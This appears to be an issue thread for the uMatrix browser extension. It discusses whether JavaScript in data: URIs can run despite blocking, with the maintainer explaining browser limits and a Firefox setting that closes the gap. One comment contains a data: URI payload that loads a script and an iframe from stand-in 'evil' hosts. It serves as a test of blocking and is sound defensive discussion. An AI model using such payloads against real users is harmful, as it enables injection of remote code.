URGENT! : Javascript execution exploit even with everything blocked!
Attack against the browser via javascript is possible, even uMatrix is set to (supposed to) block everything. Proof of concept ( SFW ) : http://confidenturtle.comli.com/
Attack code could be inspected at http://confidenturtle.comli.com/index.html

This is a limitation known and documented for years, "The exception: Data URI":
In Chromium-based browsers, loading a data URI in the address bar doesn't result in HTTP headers being received through a
chrome.webRequest.onHeadersReceivedevent handler, therefore noContent-Security-Policy "script-src 'none'"header can be injected, thus inline javascript cannot be disabled for data URIs. [7] [...]Now, I just want to emphasize that data URIs for Chromium-based browsers are treated quite differently than other browsers:
In a Chromium-based browser, a data URI is its own unique origin, and as per Chromium developers, "they don't have access to cookies or other resources belonging to their parent". [8]
Furthermore, if [uMatrix] is present, external resources referenced in a data URI, and which are not whitelisted won't be allowed to load.
This mitigates significantly the execution of javascript code in a data URI, and I do not consider this enough of an issue to for [uMatrix] to deserve the "unreliable" tag.
Incidentally, I found that your proof-of-concept does not on Chromium 60, the browser refused to navigate to a data: URI from an http: one:

Just to illustrate the part where I say:
Furthermore, if [uMatrix] is present, external resources referenced in a data URI, and which are not whitelisted won't be allowed to load.

data:text/html,<script>var el=document.createElement('script');el.src="http://evil-script.exploit";document.documentElement.appendChild(el);el=document.createElement('iframe');el.src="http://evil-iframe.exploit";document.documentElement.appendChild(el);</script>
This is a limitation known and documented for years
I guess there is no such limitation in latest Nightly+uMatrix WebExtension?
I guess there is no such limitation in latest Nightly+uMatrix WebExtension?
I just checked and the uMatrix/webext-hybrid version is really not doing well, the browser tried to connect to the remote servers above. The legacy version worked as expected. Clearly the webext API still has kinks which need to be fixed.
The attack demonstrated here was tested against Firefox 53.0. I was able to execute pretty much every malicious script I throw at it. Am I to understand via data URI is sand-boxed well in chromium? Because it is certainly is not the case for firefox. Thanks for hasty reply.
pretty much every malicious script
Displaying an alert is not malicious. I showed you above that what one can do is quite limited with data: URI in address bar, a real proof of concept has a much longer way to go than just displaying an alert.
Other observations:
There is no way in the chrome API to prevent such javascript from executing. Even the chrome.contentSettings API does not allow to block this, as it requires a hostname, and data: URI do not have hostname.
NoScript 5.0.3 will also not block the data: URI on Nightly. I have no clue as whether this is a NoScript issue, or me misusing NoScript (it has been a long time since I used it), or whether this is just the current version which is not yet fully migrated to the new webext API, or whether this will also be a limitation of the webext API as it is with the chrome API.
Bugzilla 1331351: Consider blocking top level window data: URIs
A real-world malicious attack was described here: https://gist.github.com/timruffles/5c76d2b61c88188e77f6.
As expected, it does not work with uMatrix with default settings of default-deny all active 3rd-party content, because no external resource can be 1st-party to a data: URI:

For the record: In Firefox, setting
security.data_uri.block_toplevel_data_uri_navigations
to true (in about:config) prevents the problem.
I again tested the test case above .
With the new NoScript 10 and default settings:

With uMatrix and default settings:

uMatrix blocked the connection attempts, as it did when I first tested.